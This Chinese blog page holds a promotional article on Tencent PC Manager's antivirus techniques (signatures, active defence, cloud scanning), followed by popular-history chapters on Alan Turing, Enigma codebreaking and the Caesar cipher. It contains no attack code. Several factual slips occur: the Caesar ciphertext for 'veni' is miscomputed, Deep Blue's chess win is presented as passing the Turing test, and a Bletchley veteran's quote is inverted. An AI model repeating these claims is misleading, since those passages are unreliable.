博客首页|TW首页| 同事录|业界社区
2012-10-24

/苗得雨

1022日,腾讯电脑管家发布21杀毒版,率先开启了业内杀毒与管理两个安全功能的结合之路。信息安全领域是一个特殊的领域,它一直在快速变化,我们希望透过技术底层分析新版电脑管家的产品能力,而不是泛泛的看一时的产品外观表现。信息安全产品,在底层上的特性才能够它在未来很长一段时间的表现,因此今天就让我们谈谈电脑管家21杀毒版的运作机理吧。

中国目前有接近5.5亿人使用互联网,他们是恶意软件的潜在受害者。密码、个人账号、信用卡、QQ号码、游戏账号——这些重要的个人信息可能被黑客们窃取。黑客早已经从以前的个人英雄主义转向了彻底的拜金主义,病毒制作难度下降以及地下黑客产业链的形成,使得病毒出现爆炸式的增长,传统的杀毒方法变得开始力不从心。

腾讯电脑管家团队在最早研发电脑管家时就发现,过去那些对已知病毒的围追堵截并不能确保系统的安全,面对呼啸而来的未知病毒和网络0Day攻击,仅有单一的杀毒功能是远远不够的。病毒和木马从本质上讲都是一种计算机程序,只是这种程序的功能是对用的系统进行破坏,为了阻止这些“程序”运行,出现了阻止病毒正常工作的杀毒软件,那么电脑管家这类杀毒软件是如何知道某个程序可能是恶意的呢?

在传统反病毒方法中,对病毒的人工分析是最终的环节。在这个过程中,病毒分析工程师会分析已知病毒的行为,并制作出包含病毒属性的特征码,在出现相同病毒时,杀毒软件就能够根据特征码来进行识别和清理,这就是我们通常所说的“病毒特征码检测技术”。

特征码检测技术目前仍然是所有反病毒软件都采用的关键技术,电脑管家也不例外。新版的电脑管家21杀毒版中,就内置了TAV本地引擎,本地引擎所调用的特征病毒库,不过新版电脑管家中的病毒库是经过改进的病毒特征库,通过对特征的优化,保证了扫描病毒时的速度,为用户节省了大量的时间。

虽然说特征码识别技术在对付已知病毒的威胁方面功不可没,但是严重的滞后性却让这种技术无法适应目前互联网时代的病毒大井喷。因此,杀毒软件就需要一种从“亡羊补牢”到“未雨绸缪”的新技术,电脑管家中的主动防御技术就是为此而出现的。

主动防御技术是一种反病毒软件技术上的飞跃,主动防御技术可以预先发现并阻止各种恶意行为,不给恶意程序运行的机会。基于行为的恶意程序识别技术使得主动防御有了防范未知病毒的能力。主动防御技术依靠一些特定的行为分析规则运行,规则有的时候是没有病毒灵活的,因此判断不准确甚至误判一直是困扰主动防御技术的重要原因。

不过也正因为如此,主动防御技术事实上更加适合应用于上网安全和应用安全的防护,在电脑管家21杀毒版中,主动防御技术更多的被应用于上网安全保护、应用入口保护和系统底层保护,保护用户的QQ、网游、网购和搜索等上网的安全,充分的发挥了主动防御技术在辅助安全方面的强势。

大概也是因为特征码检测识别和主动防御技术所存在的先天性不足,所以我们在电脑管家21杀毒版中看到了虚拟机技术、脱壳技术被不断加入到产品中,用来提高防毒能力,但是这些技术仍旧无法应对目前严峻的安全形势。于是,“以彼之道还施彼身”的云安全技术出现了。

云安全的关键能力是什么?

在今天的互联网中,病毒和木马为什么如此猖獗和令人束手无策呢?究其原因主要是制作病毒和木马的“黑客”们人数众多。在数量级上远远要超过安全厂商的病毒分析师人数。因此,解决这个问题最好的办法是借助用户的力量,让安装在用户电脑中的本地客户端能够和反病毒厂商的服务器进行沟通,并收集那些可疑度非常高的病毒样本,只要有用户受到疑似的病毒攻击,病毒的样本就会被迅速的发送给安全厂商,这样安全厂商就可以加速扩大自己的病毒库,提升杀毒的响应时间。当一个用户遭遇到威胁上报样本后,其他的用户再遭遇到同样的威胁时,就可以通过访问在线病毒库的方式对病毒进行快速的查杀。由于这种解决问题的技术思路和云计算的思路有异曲同工之处,因此后来被一些厂商称之为云安全或云查杀。

但是,云安全技术存在一个巨大的门槛,最大的问题就是这项技术不是一个一蹴而就的技术,它厂商有庞大的用户群体,这样长能够收集到更加全面的病毒样本。因此许多小的杀毒厂商在采用这项技术的最初一段时间里,由于病毒库中的数据内容并不是很完善,用户很难从这些厂商推出的云安全技术中获得好处。

而腾讯电脑管家的云安全中心则完全不存在这个问题,腾讯庞大的用户群体和电脑管家庞大的用户群体,让电脑管家云安全中心在可疑病毒样本收集、分析、处理和发布等病毒处理流水线机制方面都非常成熟,因此相较于业内其他厂商的云安全技术而言,电脑管家云查杀功能更可信一些,也能够更快的将云端的价值反馈给用户。

虽然云安全技术不是万能的,因为它是对已知文件的一种真实性判断,对于首次出现的威胁,第一个遇到的用户很有可能在云系统中没有记录的情况下被入侵,而他的被入侵记录会被计入云安全体系,也就是说会有用可能会受到攻击。当然,由于腾讯电脑管家云安全中心的网络体系的用户终端数量庞大,出现这种情况的用户比例会很低。

从目前的使用状况来看,腾讯电脑管家的云安全技术已经开始走向成熟,并成为信息安全产品未来的一个主要技术,虽然传统的“病毒特征码检测技术”仍将在未来的一段时间存在,但是它能起到的作用将逐步减小。

目前除了借助云系统进行病毒查杀外,电脑管家还对云安全系统的功能进行了扩展,比如开始提供文件的白名单,借助云系统对白名单中的文件进行信用评级;利用云系统收集恶意网站的列表,提供恶意网站的防护功能;使云系统的文件数据库,进行智能判别,自动执行一些安全操作,如自动允许可信程序访问网络。云安全还让病毒特征码库的更新速度大大提高,以往每天或者每小时的更新一次正在缩短为每半小时更新一次。

[下载电脑管家:http://guanjia.qq.com/]

2012-05-21

说来新鲜,我苦于没有英雄可写,

尽管当今之世,英雄是迭出不穷,

年年有,月月有,报刊上连篇累牍,

而后才又发现,他算不得真英雄。

——拜伦:《唐璜》,第一章第一节

 他是世界上破解能力最强的黑客,他不仅仅是一个黑客,他还是现代计算机理论的奠基者,翻开任何一本《计算机原理》的书籍,他的名字永远在计算机之父冯·诺依曼之前。他是天才,更是一个传奇,以至于有人说上帝不应该制造这样完美的天才,因此上帝公平的给天才留下了现在看似缺陷的瑕疵,并早早的扼杀了他亲手制造的天才,好似他派他来到这个世界就是为了展示智慧的奇迹,就是为了将计算机带给人类,就是为了告诉人类,上帝是如何创造智慧并让人思考的,于是他成为了人工智能之父,并如同诺贝尔一样,他的名字成为了当今计算机科学领域的最高奖项——图灵奖。

 第六章节上帝派来的数学黑客 (阿兰·麦席森·图灵)

 从某种意义上说,一个人的智力范围越是局限,那么他在某一方面的智力就越容易接近无限。换言之,天才之所以成为天才,是因为他们一方面将自己无限地拉长,拉得细长细长,游丝一般,呈透明之状,经不起磕碰。所以,大凡天才都是娇气的,如世上所有珍宝一样,阿兰·麦席森·图灵(Alan Mathison Turing1912.6.231954.6.7)就是这样一位脆弱的天才。

 

阿兰·麦席森·图灵

德国闪电般入侵波兰后,第二次世界大战爆发,1939年英国正式对德国宣战,来开了两个欧洲帝国的生死决战。虽然在此之前波兰向英国提供了破解Enigma密码机的头绪,但是波兰人毕竟没有最终完成军用Enigma的破解,而且由于波兰方面提供的破译资料多数属于数学范畴,这对于经历过第一次世界大战的老牌密码破译专家来说是不可理解的,因为在那个时候,语言在密码破译中占更有更重要的位置,人们无法想想,一个连德语都不懂的数学专家能够在破译敌方密电中起到什么作用,而这一切直到图灵的出现才最终证明数学已经成为了密码学领域最重要的一根支柱。

图灵出生于1912623日的英国伦敦,他的整个家族在学术方面有着相当辉煌的成果,家族成员中有三位当选过英国皇家学会会员,图灵的祖父还曾获得剑桥大学数学荣誉学位,不过图灵的父亲却仅仅只是一名大英帝国驻印度的公务员。但图灵显然遗传了家族中最优秀的数学细胞,他在16岁时就开始研究爱因斯坦的相对论,并开始运营深奥的数学原理独立推到力学定律,或许这注定了这位伟大的数学奇才会成为Enigma的终极杀手,也就在图灵研究相对论的那一年,Enigma之父谢尔比乌斯离开了人世。

1931年,图灵考进了剑桥大学,在该大学的“国王学院”专攻数学。剑桥是他这一生学术生涯的起点。那儿有自由的学术环境,他如饥似渴地阅读一切感兴趣的书籍,甚至是刚刚出版上市的天才大数学家冯·诺依曼的新作《量子力学的逻辑基础》。除了数学与物理之外,他的兴趣比中学时代广泛了许多,例如对哲学也产生了兴趣,他选修了哲学大师维特根斯坦教授的“数学的哲学”课,这让图灵的哲学与数学知识在逻辑学上有交汇,也开启了图灵关于人工智能的思考。

 

 图灵的手迹

 此外对图灵一生产生最重要影响的要数“数学逻辑学”,这是剑桥大学的大数学家罗素和怀特海创立的一门非常抽象、讲究逻辑思维、令人煞费脑筋且望而生畏的学科。数理逻辑学的创建,起源于一个逻辑上的“悖论”。为了非专业人士都能明白逻辑悖论的含义,哲学家或者数学家喜欢用讲故事的办法来解释它。一个经典的故事是:村子里有位理发师,他为而且只为村子里所有那些不给自己理发的人理发。现在的问题是,谁为理发师理发?假定理发师为自己理发,那么依照理发师“只为不给自己理发的人理发”的规定,由此推理得出结论:理发师是不为自己理发的人,这与假定矛盾;或者假定理发师不为自己理发,那么依照理发师“为所有不给自己理发的人理发”的规定,由此又推理得出结论:理发师应该为自己理发,这又与假定矛盾。所以,不论怎么假定,也就是说不论谁为理发师理发,都要出现不能自圆其说的结论。

在那以前,数学家们总以为,一个数学问题,虽然要找到回答也许很困难,但是理论上总有一个确定的答案。一个数学命题,要么是真的,要么是假的。但是哥德尔的不完全性定理指出,在一个稍微复杂一点的数学公理系统中,总存在那样的命题,我们既不能证明它是真的,也不能证明它是假的。数学家们大吃一惊,发现以往大家认为绝对严明的数学中原来有如此令人不安的不确定性。

每个逻辑学家都在苦苦思索,试图替陷入了危机的数学找到一条出路,他们包括当时在剑桥的贝特朗·罗素(Bertrand Russell)、阿尔弗雷德·怀特海(Alfred Whitehead)、路德维格·维特根斯坦(Ludwig Wittgenstein)这样著名的逻辑学家。在这种环境下,图灵作出了他一生中最重要的科学贡献,在他著名的论文《论可计算数》(On Computable Numbers)中,他提出了日后以他名字命名的虚拟计算机器——图灵机。

图灵机这台完全虚拟的“计算机”忽略了硬件因素,图灵思考的焦点是逻辑结构。图灵在他那篇著名的文章里,还进一步设计出被人们称为“万能图灵机”的模型,它可以模拟其他任何一台解决某个特定数学问题的“图灵机”的工作状态。“图灵机”想象使用一条无限长度的纸带子,带子上划分成许多格子。如果格里画条线,就代表 1”;空白的格子,则代表“0”。

图灵想象这台“计算机”还具有读写存储功能:既可以从带子上读出信息,也可以往带子上写信息。计算机仅有的运算功能是:每把纸带子向前移动一格,就把“1”变成“0”,或者把“0”变成“1”。“0”和“1”代表着在解决某个特定数学问题中的运算步骤。“图灵机”能够识别运算过程中每一步,并且能够按部就班地执行一系列的运算,直到获得最终答案。

 

图灵想象的电脑

图灵的文章从理论上证明了制造出通用计算机的可能性。几年之后,美国的阿坦纳索夫在1939年果然研究制造了世界上的第一台电子计算机ABC,其中采用了二进位制,电路的开与合分别代表数字01,运用电子管和电路执行逻辑运算等。ABC是“图灵机”的第一个硬件实现,看得见,摸得着。而冯·诺依曼不仅在上个世纪40年代研制成功了功能更好、用途更为广泛的电子计算机,并且为计算机设计了编码程序,还实现了运用纸带存储与输入。到此,天才图灵在1936年发表的科学预见和构思得以完全实现。

与图灵一样有天赋的冯·诺依曼看过图灵的论文后极为赞赏,惺惺相惜,极力邀请图灵毕业后到普林斯顿高等研究院工作,做他的研究助手。然而图灵深爱着剑桥大学,执意要回到母校任教,令冯 ·诺依曼教授惋惜不止。惋惜的远不止冯·诺依曼,不知有多少学者发出叹息,当年两位科学奇才没能走在一起。尽可以想象,由于两大世纪天才的合作,数学、计算机科学等会获得怎样的发展?“11定会大于2”,两颗灿烂的巨星一处发光,显然会将科学的天空照耀得更加明亮。

但是,当图灵在剑桥刚刚打算做一名优秀的教师和学者之时,193994日,英国对德国宣战,开始了第二次世界大战漫长的拉锯战。而图灵则在第二天就被军方应招入伍,来到了远离城市乡村,一个名为布莱切利的庄园。在这里,英国军方安排给图灵的工作就是破译密码,虽然此前英国军方已经能够运用一些德军的操作漏洞破译部分Enigma的密码,但是这个漏洞随时可能会被德国人修补,因此英国军方希望能够在德国人修补漏洞前,找到真正彻底攻破Enigma的方法。

 

布莱切利的庄园

在分析了大量德国电文后,图灵发现许多电报有相当固定的格式,他可以根据电文发出的时间、发信人、收信人这些无关于电文内容的信息来推断出一部分电文的内容。例如,德国人每天的天气预报总在早上六点左右发出,要是在六点零五分截获了一份德国电报,它里面八成有Wetter这个词,也就是德文中的“天气”。根据在此之前德国人天气预报电文的死板格式,图灵甚至能相当准确地知道这个词具体在密文的哪个位置。这就使得图灵想到了用“候选单词”这一方法来破译Enigma电文,在英语中,图灵把这些“候选单词”叫做Cribs

可图灵并不清楚在密文中出现这个候选单词时的转子状态,但是图灵想的办法很巧妙,他想如果用3Enigma同时加密这个候选单词,会发生些什么事?图灵的绝妙主意就是用3Enigma把连接板上连线的效应抵消掉,这样他就只要考虑1054560种转子方向就可以了。把候选单词,字母循环圈和用线路连接起来的多台Enigma机构成了密码分析的强大武器。图灵对Enigma的破译方法完全是纯数学和理论性的,也只有图灵,这个数学虚拟机器的发明人,才能有这样的想象力。

 

炸弹的众多转子

后来图灵得到了来自英国军方的十万英镑拨款,制作了一款专门破解Enigma的逆向破解机“炸弹”(Bombes)。每个“炸弹”里都有十二组转子,理论上能够快速的完成对Enigma密电的破解。图灵的发明赢得了他在布莱切利庄园的同事的尊敬,大家把他看做是超群的密码分析专家。他的一位同事彼得·希尔顿(Peter Hilton)回忆道:“图灵毫无疑问是个天才,而且是个极近人情的天才。他总是愿意花费时间和精力来解释他的想法。这不是一个钻在狭窄领域里的专家,他的思想遍布科学的许多领域。”

当然图灵的工作在布莱切利庄园之外是绝对机密,就连他的父母都不知道他在干破译密码的工作,因为他是全英国最厉害的密码分析专家。有一次去看他母亲时图灵提到过他正在为军事部门工作,但是没有透露其他风声。他母亲在意的是他儿子剃的头很难看。虽然领导布莱切利庄园的是些军人,不过他们也知道在生活细节上不能对这些知识分子严格要求,在这方面都是睁眼闭眼。图灵就经常不刮脸,穿着皱皱巴巴的衣服,指甲又长又黑。但是军队没有过问图灵的同性恋,是因为他们不知情。布莱切利庄园的退伍军人杰克·古德(Jack Good)后来说:“幸亏布莱切利庄园的负责人不知道图灵是个同性恋,否则的话,我们就会打败这场战争。”

 

 

炸弹

 

依然可以使用

 

 

细节

 

 

 

并不是每一台炸弹都相同,它们对应了德军不同的Enigma

 

 

 

图灵的设计

 

莱切利庄园的密电截获设备

1940314日第一台“炸弹”运抵布莱切利庄园。可是它运行得太慢,有时要一个星期才找得到一个密钥。工程师们花了很大的努力来改善“炸弹”的设计,然后开始制造新的“炸弹”,这又花了四个月时间。但是在510日,最令英国密码分析专家担心的事情发生了,德国人修补了Enigma的漏洞,这使得布莱切利庄园破译的电文量急剧下降。幸运的是,改进以后的“炸弹”在88日到达,而且这次它运行得很好。在接下来的八个月里,十五台新“炸弹”在布莱切利庄园全力开动,而每一台“炸弹”可以在一小时里找到一个Enigma的密钥。

布莱切利庄园出色的密码破译工作引起了英国领导人的注意,温斯顿·丘吉尔亲自访问了布莱切利庄园,他把这帮具有稀奇古怪才能的密码分析专家称为“从不呱呱叫的下金蛋的鹅”。到1942年底,密码局拥有49台“炸弹”,密码分析人员的队伍也在不断扩大。事实证明玩填字游戏的高手往往会成为密码分析的高手,英国情报部门甚至在报纸上登出填字游戏来招聘新的密码分析人员。

在大西洋海战中,德国海军元帅邓尼茨使用“狼群战术”来对付英国的海上运输线,这使英国付出了惨痛的代价。首先,德军众多的潜艇分散在大西洋广阔的海域中,试图寻找合适的目标;如果其中有一艘潜艇发现目标,它就会通知其它潜艇赶来增援;一旦在此海区中潜艇数量足够,它们就向目标发动进攻。很显然,在这种需要高度协作的战术中,保密和快速的通讯起着决定性的作用,而如果英国方面不能及时破译这些通讯内容,所遭受的打击是毁灭性的。

 

现在终于不是秘密,被公开的“炸弹”

但经过图灵和布莱切利庄园密码分析人员的努力,盟军终于能够了解德国“狼群”的位置,从而为运输船队选择一条安全的航线,不仅如此,英国海军的驱逐舰甚至还能主动出击,寻找德军潜艇并将其击沉。但是这里还是存在着如何恰到好处地使用所得到的情报,以免德军总部怀疑他们的最高机密已被破译的问题。正所谓兵不厌诈。通过对Enigma的破译,盟军能够知道德国潜艇的位置,但是击沉所有这些潜艇是愚蠢的,因为突然升高的损失不可避免地会使德国人猜测到他们的通讯并不安全。所以盟军经常放掉一些已经到手的肥肉,只攻击那些被侦查机发现的潜艇,当然盟军也会发出一些假的侦查到潜艇的消息来掩盖随之而来的攻击。有一次布莱切利庄园破译了一条电文,其中有九条德国油轮的方位,为了避免德国人起疑心,英国海军总部决定只进攻其中的七条油轮。这七条油轮沉没后,对破译Enigma和需要保持秘密一事一无所知的皇家海军舰队“不幸”恰好又碰上了另两条倒霉鬼,于是也将它们送入了海底。在柏林德国人为此事进行了调查,但是他们的疑心集中在这是一次偶然的事件,还是由于英国谍报人员的渗透,没有人怀疑这是英国人破译Enigma所取得的胜利。

 

 操作炸弹的女士

布莱切利庄园所破译的不仅仅是德国的Enigma密码,在战争期间他们同样破译了意大利和日本的密码系统,这三方面的情报来源被冠以“Ultra”的代号,意为“绝密”。通过Ultra提供的情报,盟军在战场上取得了明显优势。德国在二战后期,又研究开发了一个代号为“Geheimschreiber”的加密机,它由大名鼎鼎的德国西门子公司生产制造,是比Enigma更为复杂的加密装置,它拥有10~12个字母转子转盘,这使得被它加密的密文很难被破解。Geheimschreiber是德军最高统帅部和希特勒本人专用的密码,但是图灵最终又成功了攻破了Geheimschreiber

 

 

希特勒使用的Geheimschreiber

历史学家大卫·凯恩(David Kahn)评价布莱切利庄园的作用时说:“这拯救了生命。不仅仅是俄国人和盟军的生命,它也拯救了德国人,意大利人和日本人的生命。对许多在二次大战后幸存下来的人来说,没有这个方案,他们将已不在人世。这就是这个世界欠这些密码破译者的债务,他们的胜利折换成人类生命的价值。”

 

布莱切利庄园内的德军U型潜艇模型

 

图灵和他的同事在搜寻与打击德军的U型潜艇、协助盟军诺曼底登陆等重大军事行动中发挥了关键作用。人们估计布莱切利庄园的工作使欧洲的战事至少提前两年结束。图灵也因此在1946年获得“不列颠帝国勋章”,这是英国皇室给予为国家和人民做出巨大贡献、立下大功的人士的最高荣誉。

战争结束后,布莱切利庄园的秘密却仍不能被公之于众,原因就在于Enigma的加密措施太出色了,英国人想继续利用Enigma出色的加密方法,他们将在战胜后所缴获的数以千计的Enigma机分配给自己在世界各地的殖民地,让它们继续发挥余热,因为在那里Enigma仍然是是坚不可摧的“谜”。

战后布莱切利庄园被关闭,“炸弹”被拆毁,和战时密码分析和破译工作有关的档案资料全部都被封存,严密地看护起来。在几千名原来的工作人员中,有一些成员得以继续为军方新的密码分析机构工作,但是大多数人都被遣散,转回了原来的平民身份。他们宣誓对在布莱切利庄园的经历保守秘密。从战场上回来的老战士们可以自豪地谈论他们在二战中的战斗经历,但是在布莱切利庄园工作过的人们却不得不隐瞒自己在战争中为国家作出的贡献。一位曾在6号小木屋中工作过的年轻密码分析专家甚至收到了一封他早年所在的中学的老师寄来的信,责骂他在战争中逃避战斗的懦夫行为。

更具有讽刺意味的是,当2000年好莱坞影片《U-571》上映时,遭到了大量英国舆论的批评。影片描述了美国海军机智勇敢地夺取德国潜艇上Enigma机的故事。英国舆论认为,首先从德国潜艇上夺取Enigma机的是英国皇家海军,美国人这样做是把他人之功据为己有。而图灵没有能活到看见自己在破译Enigma中作出的巨大贡献为人所知的这一天,没有看到人们为此向他的深深敬意。

1945年第二次世界大战全面结束,图灵随后被英国国家物理实验室聘为高级研究员,于是他又回到了伦敦专心研究计算机理论。计算机的研究在当时属于绝密,他撰写的论文都没有公开发表。而当年图灵写了若干份“内部报告”,明确提出了“自动程序”的概念,在1970年得以解密,后来收入爱丁堡大学的《机器智能》论文集中。

理论上的准备已经充分,而且在战争时期已经具有运用计算机的经验,此时的图灵对计算机的发展前景胸有成竹,他兴致勃勃地拟订了一份“自动计算机(ACE)”的设计方案,完整地描绘出通用数字电子计算机的结构。此时的图灵更注意到存储量与运算速度是计算机的核心,他设计的ACE在性能上,大体相当于上个世纪80年代美国苹果公司研制的个人电子计算机“麦金塔”。图灵实在太超前了,国家物理实验室认为制造原原本本的ACE在工程与技术方面过于困难,知难而退,仅仅制造了一台简化了的ACE,其运算速度和存储量均大为逊色。

尽管不如图灵所愿,但这台ACE毕竟是图灵研制成功的第一台公开对外的电子计算机。况且 ACE一鸣惊人,被公认为是当时世界上最快的电子计算机之一。图灵特别满意它的存储功能,骄傲地向参观者介绍:“它能十分轻松地记忆任何一本小说中的10 页内容,一字不差!”

1946年,英国皇家学会成立计算机实验室,设在曼彻斯特大学,一时群英荟萃,成为英国计算机事业的中心,总负责人是图灵在布莱切利庄园的老同事和好朋友纽曼教授。图灵是皇家学会计算机实验室的常务副主任,实际上的负责人。图灵成为实验室的灵魂,他的计算机理论指导着实验室的发展,世界上第一台商业计算机“马克一号”即在这里问世。

他在思考与探讨人脑与计算机之间的关联与互动。图灵在他的另一篇划时代的论文《机器能思考吗?》中,这样描述他的设想:“人的大脑好似一台巨型的电子计算机,初生婴儿的大脑皮层像尚未组织好的机器,可以经过训练,使之成为组织好了的类似于万能机式的机器。” 早年在剑桥大学获得的数学与哲学方面的深厚功底又一次发挥了力量,图灵是当之无愧的现代“人工智能”之父。也正因为图灵和他的“人工智能”,电子计算机方有了另外一个名字:“电脑”。

 

图灵测试

为了演示人机对话,图灵编写了一套象棋程序,当时却没有一台足够好的计算机去执行这个程序。于是图灵就亲自模拟计算机,严格执行他预先编写的程序走棋,模拟的“计算机”每走一步要用半小时。他就这样与同事下了一盘,结果“计算机”输了。图灵明确提出:“机器能思考”。或者说,具有人脑智力的机器才是图灵心目中真正的万能机。图灵没有说空话,他进一步给出机器是否具有人脑智力的判别法,后来被称之为“图灵测试”。在图灵的时代,全世界仅有的计算机中,当然没有一台能够通过“图灵测试”,那时计算机的水平与今天的不可同日而语。可那限制不了图灵的想象和预见,他相信在20世纪末,定会有计算机能够通过“图灵测试”。他的预言得到证实:IBM研制出的一台会下国际象棋的电子计算机“深蓝”,战胜了当年的国际象棋世界冠军卡斯帕罗夫。

但在图灵生命的后来的时光,他并没有被看做一个英雄,而是因他的性倾向而饱受骚扰纠缠。1952年因被小偷入室行窃,他向警察报了案,但是不通世事使他忘了向警察掩盖他和另一位男士同居的事实。1952331日图灵被警方逮捕,被以“有伤风化”罪的罪名起诉,并被判为有罪。在整个过程中他不得不忍受报纸对他的案件的公开报道。

195468日,图灵去世的噩耗像晴天霹雳,不仅英国,乃至全世界都为之震惊。最先发现图灵死亡的是清扫房间的女佣。早就过了图灵通常起床的时间,他却仍然沉睡在床上,神态自若安详,枕边有个只吃了一小口的苹果。书桌上灯亮着,有一封准备寄出的信。法医在图灵没有吃完的那只苹果里检验出了氰化钾,剧毒化学药品的残留物。警方在多方搜集证据后,对外正式宣布调查结果:图灵是服毒自杀。

图灵自杀的原因一时成为全世界的难解之谜,猜测纷纭。他的母亲不相信、不接受警方“图灵服毒自杀”的判断,因为桌子上那封未寄出的信里提到“同意在几天后接受采访”云云。她认为图灵是不小心接触到了他实验室里的剧毒化学药品,是死于意外事故。警方则认为,那封信是图灵故布疑阵,令母亲相信儿子意外中毒而亡,心里会好受些。困扰人们的问题是图灵为什么要自杀?在195467日的那个晚上,当代最伟大的头脑之一,就这样在四十二岁时离开了这个世界。

英国当年的法律主张严厉惩戒同性恋,图灵不得不接受注射激素,否则会有牢狱之灾。激素疗法非但不能改变同性恋倾向,反而呈现出多种副作用,图灵变得意志消沉,越发寡言少语。图灵曾经去看心理医生,医生建议这位科学奇才放松情绪,换换脑筋,不妨读读好的小说。结果图灵真的喜欢上了列夫·托尔斯泰的小说,不过,情绪并未因此而好转。人们普遍认为,图灵情绪的低沉抑郁,最终导致了他的自杀,是那不人道的激素疗法害了他。

图灵的死无疑是计算机科学界的巨大损失,无以弥补。牛津大学著名数学家安德鲁·哈吉斯说道:“图灵似乎是上天派来的一个使者,匆匆而来,匆匆而去,为人间留下了智慧,留下了深邃的思想,后人必须为之思索几十年、上百年甚至永远。” 图灵将引领世界计算机的“风骚数百年”,他25岁首创的“图灵机”概念如石破天惊,而立之年探讨的仿真系统和自动程序设计概念如仙人指路,不惑之“晚年” 开创的人工智能和“图灵测试”如开山辟路,无一不是超前的科学预见,无一不展现着这位天才的过人智慧。

1998623日,伦敦市政府在图灵的出生地,那所故居的迎面墙上镶嵌上一块象征人类智慧与科学的蔚蓝色的铜匾,铸刻着计算机科学创始人的名字和出生年月,纪念这位计算机大师诞辰86周年,数万人参加了纪念仪式。那一天,也恰好是图灵在曼彻斯特大学亲手设计成功的电子计算机问世50周年。图灵的这个纪念活动牵动全世界计算机科学家的心,也惊动了英国国会。众议院极其不寻常地赶在前一天晚上1030分,以压倒多数的投票,通过了一项法案,承认了同性恋者的平等权益。英国政府以他的特殊方式表达了对这位科学巨人的伟大成就的敬意,对令他遭受不公正惩罚的忏悔。

 

 

 

英国大学校园里拿着苹果的图灵铜像

200467日,为纪念这位计算机科学与密码学的绝顶天才逝世50周年,来自世界各地的学者、学生数千人不约而同来到曼彻斯特市,聚集在图灵离世前5年曾经居住的公寓前。曼彻斯特市政府在这所表面极其普通却因图灵而成为永久的历史性建筑的墙上,隆重镶嵌上一面纪念铜牌,还是蔚蓝色的,上写:19121954,计算机科学奠基人与密码学家,战争年代破译Enigma的功臣艾兰·图灵居于斯,逝于斯。

 

曾经担任过冯·诺依曼研究助手的美国物理学家弗兰克尔教授这样写道:“许多人都推举冯·诺依曼为‘计算机之父’,然而我确信他本人从来不会促成这个错误。或许,他可以被恰当地称为‘计算机的助产士’。依我之见,正是冯·诺依曼使世界认识了由图灵引入的计算机的基本概念。”弗兰克尔教授此言不虚,在 1949年,冯·诺依曼发表了一篇题为《自动计算机的一般逻辑理论》的论文,客观而公正地阐述了图灵在计算机理论上的重大贡献。他写道:“大约12年前,英国逻辑学家图灵就开始研究可计算问题,他准确地给出了自动计算机的一般性定义。”冯·诺依曼宁愿把“计算机之父”的桂冠转戴在图灵头上。当然,这已经是在图灵离开普林斯顿十来年以后的事了,他当年在普林斯顿并没有像后来那样受人景仰。图灵曲高和寡,当年就能看明白他那篇文章划时代意义的,仅仅是少数杰出的数学家,如冯·诺依曼者。

 

 图灵铜像,他正在破解密码

我们之所以将图灵视为世界上最伟大的黑客之一,是因为,在现如今,当互联网上那些只会使用注入扫描器狂扫漏洞的时候,在他们认为,用工具就能够神奇的拿下网站的时候,却往往并不知道,注入扫描器所使用的逻辑计算原理来源于一个1912出生的数学家,一个破解过纳粹德国Enigma加密机的计算天才。我们由衷的希望,那些自视为什么都懂的“黑客“能够多一些清醒……

 

 

在我渺小的日子里,我也曾阅历帝国的兴亡,

但是我并没有衰老;

当我把自己的忧患和那一切相比,

它虽曾奔腾象海湾中狂暴的浪涛,

却成了小小水化的泼溅,

随时平息;

的确,

有一些什么-连我也不明了-在支持这不知忍耐的灵魂;

我们并不白白地(即使仅仅为它自己)贩来痛苦。

——拜伦《书寄奥古斯达》选段

黑客是征服者的战争,然而征服往往是从被征服开始的。

二战前夕,随着世界上最先进的密码机Enigma(意为“谜”)在纳粹德国的铺开使用,让波兰、法国、英国等国家的顶尖智慧群体,陆续被卷入了这场旷日持久的密码战。加密、破解,疯狂升级,天才、叛徒,粉墨登场,也由此掀开了人类历史上最波澜壮阔的加密与解密大战……

00000011/三章节 加密之王Enigma

第二次世界大战爆发于1939年,历时6年之久,先后有60多个国家和地区参战,波及20多亿人口,战争交战各方共动员军队1亿多人。在这场人类有史以来最惨烈的战争中,决定最后战争命运走向的竟然是几台机器和制造它们的天才数学家们。而在第二次世界大战中最大的军事秘密,除了原子弹外,就是纳粹德国的核心密码——Enigma

Enigma从外表看起来并没有什么能够让人感到惊奇的地方,它似乎跟普通的打字机别无二致。Enigma是一种转轮式密码机,原理并不复杂,但在第二次世界大战之前要破解它却基本上是不可能的。

一台普通的Enigma通常有三个部分组成:键盘、转轮和显示器。

 

Enigma的键盘排列接近我们现在使用的计算机键盘。不过为了能够让密电尽量简短和难以破译,它没有空格和标点符号。而它使用的加密方法在现在计算机的很多软件注册中依然常见,这种加密方法叫做“代替密码算法(Substitution cipher)”。

代替密码算法是历史上最古老也是最有效的加密算法之一,它很早就登上了历史的舞台,最著名的“恺撒密码”(又名Caesar密码)所采用的就是这种加密方式。传说,它的发明人是人类历史上最著名的皇帝之一,有着“古罗马唯一的天才”之称的朱利斯·凯撒(Julius Caesar)。

据说凯撒是这样使用这种加密方法的:他先把自己的军事命令中的字母写成字母顺序的数字,然后他在将每个数字加3。如果这个数字大于字母表中的数字,那么凯撒就将这个数字与字母顺序中最后也是最大的那个数字相减之差来表示。通过这种数字机密的信息,凯撒派出的传令兵即便被抓到了,敌人也无法迫使他们供出绝密的信息,而接收到该加密密文的罗马将领们只需反过来运算,就可以得到原始军事命令了。例如:

明码字母表:abcdefghijklmnopqrstuvwxyz

密码字母表:DEFGHIJKLMNOPQRSTUVWXYZABC

根据上面的加密对照表,凯撒如果想发出“VeniVidiVici”,即凯撒征服本土国王之后向罗马元老院发出的呐喊“我来,我见,我征服!”,那么加密后的密文应该是这样的:

明文:veni, vidi, vici

密文:YHAL, YLGL, YLFL

小知识:消息(Message)被称为明文(Plaintext)。用某种方法伪装消息以隐藏它的内容的过程被称为加密(Encryption),被加密的消息称为密文(Ciphertexe),而负责把密文转变成明文的过程成为解密(Decryption

Enigma采用的加密方法正是这种看似简单的加密方式。它通过由电线相连的键盘、转轮和显示器,将键盘上的信号对应到加密机显示器上。但是很明显,这种简单的方法只有26种可能性,不足以实际应用,用这种方法所得到的密文还是相当容易被破解的。

因此在公元九世纪,阿拉伯的密码破译专家就已经娴熟地掌握了用统计字母出现频率的方法来击破简单代替密码。破解的原理很简单:在每种拼音文字语言中,每个字母出现的频率并不相同,比如说在英语中,e出现的次数就要大大高于其他字母——这种方法后来在计算机应用密码学中被称之为重合码计数法(Counting coincidence)。

